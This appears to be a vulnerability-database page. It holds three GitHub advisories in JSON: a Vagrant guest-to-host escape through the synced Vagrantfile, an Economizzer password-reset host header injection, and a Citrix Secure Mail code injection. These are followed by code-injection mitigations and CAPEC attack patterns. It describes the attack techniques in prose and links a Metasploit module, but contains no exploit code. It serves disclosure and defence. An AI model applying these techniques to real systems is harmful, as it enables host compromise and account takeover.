Vulnerability from github – Published: 2025-07-02 21:32 – Updated: 2025-07-05 01:47An authenticated virtual machine escape vulnerability exists in HashiCorp Vagrant versions 2.4.6 and below when using the default synced folder configuration. By design, Vagrant automatically mounts the host system’s project directory into the guest VM under /vagrant (or C:\vagrant on Windows). This includes the Vagrantfile configuration file, which is a Ruby script evaluated by the host every time a vagrant command is executed in the project directory. If a low-privileged attacker obtains shell access to the guest VM, they can append arbitrary Ruby code to the mounted Vagrantfile. When a user on the host later runs any vagrant command, the injected code is executed on the host with that user’s privileges.
While this shared-folder behavior is well-documented by Vagrant, the security implications of Vagrantfile execution from guest-writable storage are not explicitly addressed. This effectively enables guest-to-host code execution in multi-tenant or adversarial VM scenarios.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "vagrant"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.10"
},
{
"fixed": "2.4.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-34075"
],
"database_specific": {
"cwe_ids": [
"CWE-276",
"CWE-668",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-03T12:59:35Z",
"nvd_published_at": "2025-07-02T20:15:29Z",
"severity": "MODERATE"
},
"details": "An authenticated virtual machine escape vulnerability exists in HashiCorp Vagrant versions 2.4.6 and below when using the default synced folder configuration. By design, Vagrant automatically mounts the host system\u2019s project directory into the guest VM under /vagrant (or C:\\vagrant on Windows). This includes the Vagrantfile configuration file, which is a Ruby script evaluated by the host every time a vagrant command is executed in the project directory. If a low-privileged attacker obtains shell access to the guest VM, they can append arbitrary Ruby code to the mounted Vagrantfile. When a user on the host later runs any vagrant command, the injected code is executed on the host with that user\u2019s privileges.\n\nWhile this shared-folder behavior is well-documented by Vagrant, the security implications of Vagrantfile execution from guest-writable storage are not explicitly addressed. This effectively enables guest-to-host code execution in multi-tenant or adversarial VM scenarios.",
"id": "GHSA-hqp6-mjw3-f586",
"modified": "2025-07-05T01:47:56Z",
"published": "2025-07-02T21:32:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34075"
},
{
"type": "WEB",
"url": "https://github.com/hashicorp/vagrant/issues/13688"
},
{
"type": "WEB",
"url": "https://github.com/hashicorp/vagrant/commit/abe87b2fdc124ef426c016d44d2f6f4792f0cbe3"
},
{
"type": "WEB",
"url": "https://developer.hashicorp.com/vagrant"
},
{
"type": "WEB",
"url": "https://developer.hashicorp.com/vagrant/docs/synced-folders/basic_usage"
},
{
"type": "WEB",
"url": "https://developer.hashicorp.com/vagrant/docs/vagrantfile"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hqp6-mjw3-f586"
},
{
"type": "PACKAGE",
"url": "https://github.com/hashicorp/vagrant"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/vagrant/CVE-2025-34075.yml"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/local/vagrant_synced_folder_vagrantfile_breakout.rb"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/hashicorp-vagrant-synced-folder-vagrantfile-breakout"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "HashiCorp Vagrant has code injection vulnerability through default synced folders"
}
GHSA-HQP9-MRJW-7QQ2
Vulnerability from github – Published: 2023-09-28 06:30 – Updated: 2023-10-02 21:34A host header injection vulnerability exists in gugoan's Economizzer v.0.9-beta1 and commit 3730880 (April 2023). By sending a specially crafted host header in the reset password request, it is possible to send password reset links to users which, once clicked, lead to an attacker-controlled server and thus leak the password reset token. This allows an attacker to reset other users' passwords.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "gugoan/economizzer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.9-beta1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-38877"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-28T16:43:22Z",
"nvd_published_at": "2023-09-28T04:15:12Z",
"severity": "HIGH"
},
"details": "A host header injection vulnerability exists in gugoan\u0027s Economizzer v.0.9-beta1 and commit 3730880 (April 2023). By sending a specially crafted host header in the reset password request, it is possible to send password reset links to users which, once clicked, lead to an attacker-controlled server and thus leak the password reset token. This allows an attacker to reset other users\u0027 passwords.",
"id": "GHSA-hqp9-mrjw-7qq2",
"modified": "2023-10-02T21:34:55Z",
"published": "2023-09-28T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38877"
},
{
"type": "WEB",
"url": "https://github.com/gugoan/economizzer/commit/37308802dfe00d43df396a8afaa2096ece8b7b57"
},
{
"type": "WEB",
"url": "https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38877"
},
{
"type": "WEB",
"url": "https://github.com/gugoan/economizzer"
},
{
"type": "WEB",
"url": "https://www.economizzer.org"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Economizzer host header injection vulnerability"
}
GHSA-HQQ7-9P4F-X9PJ
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38Citrix Secure Mail for Android before 20.11.0 suffers from Improper Control of Generation of Code ('Code Injection') by allowing unauthenticated access to read data stored within Secure Mail. Note that a malicious app would need to be installed on the Android device or a threat actor would need to execute arbitrary code on the Android device.
{
"affected": [],
"aliases": [
"CVE-2020-8274"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-06T21:15:00Z",
"severity": "MODERATE"
},
"details": "Citrix Secure Mail for Android before 20.11.0 suffers from Improper Control of Generation of Code (\u0027Code Injection\u0027) by allowing unauthenticated access to read data stored within Secure Mail. Note that a malicious app would need to be installed on the Android device or a threat actor would need to execute arbitrary code on the Android device.",
"id": "GHSA-hqq7-9p4f-x9pj",
"modified": "2022-05-24T17:38:07Z",
"published": "2022-05-24T17:38:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8274"
},
{
"type": "WEB",
"url": "https://support.citrix.com/article/CTX286763"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.